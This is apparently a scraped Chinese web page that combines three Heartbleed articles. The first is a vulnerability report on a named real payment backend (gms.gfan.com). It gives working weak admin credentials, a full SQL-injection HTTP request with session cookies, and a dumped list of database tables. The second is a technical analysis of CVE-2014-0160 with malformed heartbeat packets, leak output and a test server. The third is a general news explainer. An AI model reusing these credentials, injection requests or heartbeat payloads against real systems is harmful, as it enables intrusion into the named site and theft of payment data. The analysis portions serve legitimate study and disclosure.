一 : 机锋网openssl心脏滴血/后台存在SQL注入漏洞
RT
心脏滴血漏洞:
https://gms.gfan.com
弱口令:
http://gms.gfan.com:8080/loginAction.do?method=login&password=admin&username=admin
duyun/123456
注入 :
GET /messageConsumeDetailClientAction.do?method=findList&searchModel=1&type=on&beginDate=2016-01-21&endDate=2016-01-28&searchType=3&searchContent=&appKey=0&channelId=【注入点】 HTTP/1.1Host: gms.gfan.com:8080Proxy-Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: zh-CN,zh;q=0.8,en;q=0.6Cookie: pgv_pvid=7868685976; pgv_pvi=3890574959; tma=227519179.71033145.1453946842670.1453946842670.1453946842670.1; tmd=13.227519179.71033145.1453946842670.; bfd_g=8a7bc81f66bd068d00007994001eb3685657f5ae; Hm_lvt_94a1188546fb923d8b3b2187e3fab67b=1453966434; Jb1kcwceGvQ="RSl21GK7Bz+ZfiFmSC6RT4ok5rdLyjnWIT+0aQJUFHk="; cva4j+xqajE="x268oKYi94HeCy4ffuE5Eq9Th5eejEcrdFqAiDdJIp/3hjHregTpHZenfvd4eQETgrep41MRdz4="; __utma=227519179.506361208.1453946842.1453966434.1454030994.3; __utmc=227519179; __utmz=227519179.1453946842.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); Hm_lvt_6790309a725fc338d4fe3efb72d4a6ea=1454031169; Hm_lpvt_6790309a725fc338d4fe3efb72d4a6ea=1454031169; JSESSIONID=D0548E95C7A3ADA4A1F50AEF61E99E22管理员账号密码:
Database: gfan_pay
[68 tables]
+------------------------------+
| user |
| action_type |
| admin_operate_log |
| admin_user |
| app_info_apk |
| card_config |
| channel |
| charge_log |
| check_check_info |
| check_check_status |
| client_channel |
| consume_log |
| contrast_appkey_productid |
| login_log_20121222 |
| login_log_tmp |
| payorder_status_log |
| rebate_info |
| recharge_alipay_notify_log |
| recharge_channel |
| recharge_channel_account |
| recharge_dic_channel |
| recharge_jd_notify_log |
| recharge_junka_notify_log |
| recharge_log |
| recharge_mo9_notify_log |
| recharge_order |
| recharge_order_history |
| recharge_order_operate_log |
| recharge_order_reb |
| recharge_request |
| recharge_submit |
| recharge_tenpay_notify_log |
| recharge_uc_recharge_log |
| recharge_unionpay_notify_log |
| recharge_unionpay_trade_log |
| recharge_wechat_notify_log |
| sdk_app |
| sdk_message_client_log |
| sdk_message_pay_log |
| sdk_pay_log |
| sdk_pay_point_arrive |
| sdk_save_ios_order |
| sdk_sp_dictionary |
| sdk_sp_sms |
| sdk_tag_phone_log |
| sdk_update_log |
| shenzhoufu |
| sp_channelinfo_admini |
| sp_companyinfo_admini |
| sp_developerinfo_admini |
| sp_errormessages_log |
| sp_install_forwardtell_log |
| sp_partname_admini |
| sp_pay_forwardtell_log |
| sp_spcustom_admini |
| sp_statusreport_log |
| sp_support_admini |
| sp_uploadinterface_log |
| sp_userinfo_admini |
| sp_version_admini |
| test |
| tgr_getcharge_logbyuid |
| tgr_getconsume_logbyuid |
| tgr_getsdk_appbyuid |
| uc_pay_log |
| uc_uid_imei |
| user_payorder_url |
| wap_test |
+------------------------------+
解决方案:[www.61k.com)
升级openssl
增强口令
用参数化方法构建SQL语句,以防止数据库执行从用户输入插入的SQL语句。
二 : 比想象中更恐怖!OpenSSL“心血”漏洞深入分析
作者: yaoxi[转载请注明出处自 : 360网站卫士博客-blog.wangzhan.360.cn](www.61k.com)
近日,OpenSSL爆出本年度最严重的安全漏洞,此漏洞在黑客社区中被命名为“心脏出血”漏洞。360网站卫士安全团队对该漏洞分析发现,该漏洞不仅是涉及到https开头的网址,还包含间接使用了OpenSSL代码的产品和服务,比如,VPN、邮件系统、FTP工具等产品和服务,甚至可能会涉及到其他一些安全设施的源代码。
受影响版本
OpenSSL1.0.1、1.0.1a 、1.0.1b 、1.0.1c 、1.0.1d 、1.0.1e、1.0.1f、Beta 1 of OpenSSL 1.0.2等版本。
漏洞详细说明:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
漏洞描述
OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷。OpenSSL的心跳处理逻辑没有检测心跳包中的长度字段是否和后续的数据字段相符合,攻击者可以利用这点,构造异常的数据包,来获取心跳数据所在的内存区域的后续数据。这些数据中可能包含了证书私钥、用户名、用户密码、用户邮箱等敏感信息。该漏洞允许攻击者,从内存中读取多达64KB的数据。
前几日的漏洞分析文章主要聚焦在开启HTTPS的网站上,普通网民可能认为只有网站自身业务会受到这个漏洞的影响。从360网站卫士Openssl心血漏洞在线检测平台(wangzhan.360.cn/heartbleed)的监控数据得知,心血漏洞的辐射范围已经从开启HTTPS的网站延伸到了VPN系统和邮件系统,目前共发现国内共有251个VPN系统和725个邮件系统同样存在漏洞,其中不乏很多政府网站、重点高校和相关安全厂商。
为了更好让大家明白,Openssl心血漏洞到底是哪个环节出了问题,我们利用OpenSSL lib库编写了一个不依赖与任何业务的独立server程序,来一步步实际调试一遍代码,以此证明不仅是https的网站有问题,只要使用了存在该漏洞的OpenSSL libssl.so库的应用程序都存在安全漏洞!
测试环境
OS:CentOS release 6.4 (Final)
OpenSSL: Version 1.0.1f(没有打开OPENSSL_NO_HEARTBEATS编译选项)
编写Server程序:监听端口9876
漏洞测试
利用网上python验证脚本(https://gist.github.com/RixTox/10222402)进行测试
构造异常heartbeat数据包,主要添加异常的length字段值。
测试一:
HeartBeat Requst包
hb = h2bin(”’18 03 02 00 0301 20 00”’)
蓝色的01表示的是心跳包的类型为request方向。对应源代码中就是#define TLS1_HB_REQUEST 1
红色的20 00表示的心跳请求包的length字段,占两个字节,对应的长度值为8192。
HeartBeat Response包
[root@server test]# python ssltest.py 127.0.0.1 -p 9876 > 1Sending heartbeat request…… received message: type = 24, ver = 0302, length = 8211Received heartbeat response:WARNING: server returned more data than it should – server is vulnerable!Received heartbeat response:0000: 02 20 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C . ….SC[...r...0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
蓝色的02表示的是心跳包的类型为response方向。
对应源代码中就是#define TLS1_HB_RESPONSE 2
红色的20 00表示的心跳响应包的length字段,占两个字节,对应的长度值为8192。和request包的length值一样。
绿色部分就是非法获取到的越界数据(可能包含用户名、密码、邮件、内网IP等敏感信息)。
测试二:
在测试一的基础上,修改了request心跳包的length字段的值,从20 00 修改到 30 00
HeartBeat Requst包
hb = h2bin('''18 03 02 00 0301 30 00''')
30 00两个字节对应的长度为12288(8192+4096)
HeartBeat Response包
[root@server test]# python ssltest.py 127.0.0.1 -p 9876 > 1Sending heartbeat request…… received message: type = 24, ver = 0302, length = 12307Received heartbeat response:WARNING: server returned more data than it should – server is vulnerable!Received heartbeat response:0000: 02 30 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .0….SC[...r...0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
两个测试用例中,response的length长度值总是比request的长度多出来了19个byte,为什么?
因为,TLS和DTLS在处理类型为TLS1_HB_REQUEST的心跳请求包逻辑中,在从堆空间上申请内存大小时,有4部分决定type+length+request的数据长度+pad,其中type,length,pad字段分为占1byte,2byte,16byte,所以response的数据总是比request的多出来19byte。
源码分析
概要说明
该漏洞主要是内存泄露问题,而根本上是因为OpenSSL在处理心跳请求包时,没有对length字段(占2byte,可以标识的数据长度为64KB)和后续的data字段做合规检测。生成心跳响应包时,直接用了length对应的长度,从堆空间申请了内存,既便是真正的请求data数据远远小于length标识的长度。
相关解析源码说明
存在该漏洞的源文件有两个ssl/d1_both.c和ssl/t1_lib.c。
心跳处理逻辑分别是dtls1_process_heartbeat和tls1_process_heartbeat两个函数。
dtls1_process_heartbeat函数处理逻辑:
Step1.获取心跳请求包对应的SSLv3记录中数据指针字段,指向request的请求数据部分。
unsigned char *p = &s->s3->rrec.data[0];
record记录的数据格式应该包含了三个字段:type, length, data;分别占1byte,2byte,length的实际值。
Step2.
/* Read type and payload length first */hbtype = *p++;n2s(p, payload);pl = p;
做了两件事,获取了type类型以及length字段的值(存放到payload中),然后将pl指向真正的data数据。
Step3.
/* Allocate memory for the response, size is 1 byte* message type, plus 2 bytes payload length, plus* payload, plus padding*/buffer = OPENSSL_malloc(1 + 2 + payload + padding);bp = buffer;
悲剧开始上演了。没有判断请求记录中的真正数据长度,直接用length字段的值来申请空间。对应于测试一中的异常数据包的话,buffer申请的内存大小就是8211byte。但是实际应该申请的大小仅仅就几个字节。
Step4.
/* Enter response type, length and copy payload */*bp++ = TLS1_HB_RESPONSE;s2n(payload, bp);memcpy(bp, pl, payload);bp += payload;
悲剧形成了。填充响应记录,第一个字节填充类型,第二、三个字节填充request记录中length的值,紧接着,将request的data填充为响应的data数据。异常情况下,payload对应的长度远远大于真正应该使用的合法的data数据长度,这样,就导致了非法越界访问相邻内存空间的数据。
tls1_process_heartbeat函数的处理逻辑和dtls1_process_heartbeat一样,此处就不再做详细分析了。
—————————————————-
附:ssl_server.c
编译方式(请根据实际环境自行修改相关路径)
gcc -g -o ssl_server ssl_server.c -I/root/openssl_101f_prex/include/ -L/root/openssl_101f_prex/lib/ -lssl
该代码是文中用于调试存在漏洞的libssl.so库的server端,供对该漏洞感兴趣的安全研究人员、安全爱好者们自行后续调试。希望这段独立的代码能让大家意识到这个漏洞持续的高等级威胁:截至目前,心血漏洞仅仅是刚开始出血,避免这个漏洞引起互联网业务大血崩此刻就要开始更多的行动了!
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <netinet/in.h>#include <sys/types.h>#include <sys/socket.h>#include “openssl/bio.h”#include “openssl/rsa.h”#include “openssl/crypto.h”#include “openssl/x509.h”#include “openssl/pem.h”#include “openssl/ssl.h”#include “openssl/err.h”#define server_cert “./server.crt”#define server_key “./server.key”#define ca_cert “./ca.crt”#define PORT 9876#define CHK_NULL(x) if ((x)==NULL) exit (1)#define CHK_ERR(err,s) if ((err)==-1) { perror(s); exit(1); }#define CHK_SSL(err) if ((err)==-1) { ERR_print_errors_fp(stderr); exit(2); }int main (){int err;int listen_sd = -1;int sd = -1;struct sockaddr_in sa_serv;struct sockaddr_in sa_cli;int client_len;SSL_CTX* ctx = NULL;SSL* ssl = NULL;X509* client_cert = NULL;char* str = NULL;char buf [4096];SSL_METHOD *meth = NULL;SSL_library_init();SSL_load_error_strings();ERR_load_BIO_strings();OpenSSL_add_all_algorithms();meth = (SSL_METHOD *)SSLv23_server_method();ctx = SSL_CTX_new(meth);if (NULL == ctx) {goto out;}//SSL_CTX_set_verify(ctx,SSL_VERIFY_PEER,NULL);//SSL_CTX_load_verify_locations(ctx,ca_cert,NULL);if (SSL_CTX_use_certificate_file(ctx, server_cert, SSL_FILETYPE_PEM) <= 0) {goto out;}if (SSL_CTX_use_PrivateKey_file(ctx, server_key, SSL_FILETYPE_PEM) <= 0) {goto out;}if (!SSL_CTX_check_private_key(ctx)) {printf(“Private key does not match the certificate public key\n”);goto out;}listen_sd = socket(AF_INET, SOCK_STREAM, 0);if (-1 == listen_sd) {goto out;}memset (&sa_serv, ‘\0′, sizeof(sa_serv));sa_serv.sin_family = AF_INET;sa_serv.sin_addr.s_addr = INADDR_ANY;sa_serv.sin_port = htons(PORT);err = bind(listen_sd, (struct sockaddr*) &sa_serv, sizeof(sa_serv));if (-1 == err) {goto out;}err = listen(listen_sd, 5);if (-1 == err) {goto out;}client_len = sizeof(sa_cli);sd = accept(listen_sd, (struct sockaddr*)&sa_cli, &client_len);if (-1 == err) {goto out;}printf (“Connection from %d, port %d\n”,sa_cli.sin_addr.s_addr, sa_cli.sin_port);ssl = SSL_new(ctx);if (NULL == ssl) {goto out;}SSL_set_fd(ssl, sd);err = SSL_accept(ssl);if (NULL == ssl) {goto out;}/*printf (“SSL connection using %s\n”, SSL_get_cipher(ssl));client_cert = SSL_get_peer_certificate(ssl);if (client_cert != NULL) {printf (“Client certificate:\n”);str = X509_NAME_oneline (X509_get_subject_name (client_cert), 0, 0);CHK_NULL(str);printf (“\t subject: %s\n”, str);Free (str);str = X509_NAME_oneline (X509_get_issuer_name (client_cert), 0, 0);CHK_NULL(str);printf (“\t issuer: %s\n”, str);Free (str);X509_free (client_cert);}elseprintf (“Client does not have certificate.\n”);*/err = SSL_read(ssl, buf, sizeof(buf) – 1);if (err == -1) {goto out;}buf[err] = ‘\0′;printf (“Got %d chars:’%s’\n”, err, buf);err = SSL_write(ssl, “I hear you.”, strlen(“I hear you.”));CHK_SSL(err);out:if (-1 != sd) {close(sd);}if (-1 != listen_sd) {close(listen_sd);}if (ssl) {SSL_free(ssl);}if (ctx) {SSL_CTX_free(ctx);}return 0;}
三 : 全面解读OpenSSL“心脏流血”漏洞
新浪科技讯 北京时间4月9日上午消息,美国新闻网站Vox周二撰文,对当天公布的OpenSSL“心脏流血”漏洞进行了全面解读。
以下为文章全文:
什么是SSL?
SSL是一种流行的加密技术,可以保护用户通过互联网传输的隐私信息。当用户访问Gmail.com等安全网站时,就会在URL地址旁看到一个“锁”,表明你在该网站上的通讯信息都被加密。
这个“锁”表明,第三方无法读取你与该网站之间的任何通讯信息。在后台,通过SSL加密的数据只有接收者才能解密。如果不法分子监听了用户的对话,也只能看到一串随机字符串,而无法了解电子邮件、Facebook帖子、信用卡账号或其他隐私信息的具体内容。
SSL最早在1994年由网景推出,1990年代以来已经被所有主流浏览器采纳。最近几年,很多大型网络服务都已经默认利用这项技术加密数据。如今,谷歌、雅虎和Facebook都在使用SSL默认对其网站和网络服务进行加密。
什么是“心脏出血”漏洞?
多数SSL加密的网站都使用名为OpenSSL的开源软件包。本周一,研究人员宣布这款软件存在严重漏洞,可能导致用户的通讯信息暴露给监听者。OpenSSL大约两年前就已经存在这一缺陷。
工作原理:SSL标准包含一个心跳选项,允许SSL连接一端的电脑发出一条简短的信息,确认另一端的电脑仍然在线,并获取反馈。研究人员发现,可以通过巧妙的手段发出恶意心跳信息,欺骗另一端的电脑泄露机密信息。受影响的电脑可能会因此而被骗,并发送服务器内存中的信息。
该漏洞的影响大不大?
很大,因为有很多隐私信息都存储在服务器内存中。普林斯顿大学计算机科学家艾德·菲尔腾(Ed Felten)表示,使用这项技术的攻击者可以通过模式匹配对信息进行分类整理,从而找出密钥、密码,以及信用卡号等个人信息。
丢失了信用卡号和密码的危害有多大,相信已经不言而喻。但密钥被盗的后果可能更加严重。这是是信息服务器用于整理加密信息的一组代码。如果攻击者获取了服务器的私钥,便可读取其收到的任何信息,甚至能够利用密钥假冒服务器,欺骗用户泄露密码和其他敏感信息。
谁发现的这个问题?
该漏洞是由Codenomicon和谷歌安全部门的研究人员独立发现的。为了将影响降到最低,研究人员已经与OpenSSL团队和其他关键的内部人士展开了合作,在公布该问题前就已经准备好修复方案。
谁能利用“心脏流血”漏洞?
“对于了解这项漏洞的人,要对其加以利用并不困难。”菲尔腾说。利用这项漏洞的软件在网上有很多,虽然这些软件并不像iPad应用那么容易使用,但任何拥有基本编程技能的人都能学会它的使用方法。
当然,这项漏洞对情报机构的价值或许最大,他们拥有足够的基础设施来对用户流量展开大规模拦截。我们知道,美国国家安全局(以下简称“NSA”)已经与美国电信运营商签订了秘密协议,可以进入到互联网的骨干网中。用户或许认为,Gmail和Facebook等网站上的SSL加密技术可以保护他们不受监听,但NSA 却可以借助“心脏流血”漏洞获取解密通讯信息的私钥。
虽然现在还不能确定,但如果NSA在“心脏流血”漏洞公之于众前就已经发现这一漏洞,也并不出人意料。OpenSSL是当今应用最广泛的加密软件之一,所以可以肯定的是,NSA的安全专家已经非常细致地研究过它的源代码。‘
有多少网站受到影响?
目前还没有具体的统计数据,但发现该漏洞的研究人员指出,当今最热门的两大网络服务器Apache和nginx都使用OpenSSL。总体来看,这两种服务器约占全球网站总数的三分之二。SSL还被用在其他互联网软件中,比如桌面电子邮件客户端和聊天软件。
发现该漏洞的研究人员几天前就已经通知OpenSSL团队和重要的利益相关者。这让OpenSSL得以在漏洞公布当天就发布了修复版本。为了解决该问题,各大网站需要尽快安装最新版OpenSSL。
雅虎发言人表示:“我们的团队已经在雅虎的主要资产中(包括雅虎主页、雅虎搜索、雅虎电邮、雅虎财经、雅虎体育、雅虎美食、雅虎科技、Flickr和Tumblr)成功部署了适当的修复措施,我们目前正在努力为旗下的其他网站部署修复措施。”
谷歌表示:“我们已经评估了SSL漏洞,并且给谷歌的关键服务打上了补丁。”Facebook称,在该漏洞公开时,该公司已经解决了这一问题。
微软发言人也表示:“我们正在关注OpenSSL问题的报道。如果确实对我们的设备和服务有影响,我们会采取必要措施保护用户。”
用户应当如何应对该问题?
不幸的是,如果访问了受影响的网站,用户无法采取任何自保措施。受影响的网站的管理员需要升级软件,才能为用户提供适当的保护。
不过,一旦受影响的网站修复了这一问题,用户便可以通过修改密码来保护自己。攻击者或许已经拦截了用户的密码,但用户无法知道自己的密码是否已被他人窃取。(书聿)
本文标题:openssl心脏滴血漏洞-机锋网openssl心脏滴血/后台存在SQL注入漏洞61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1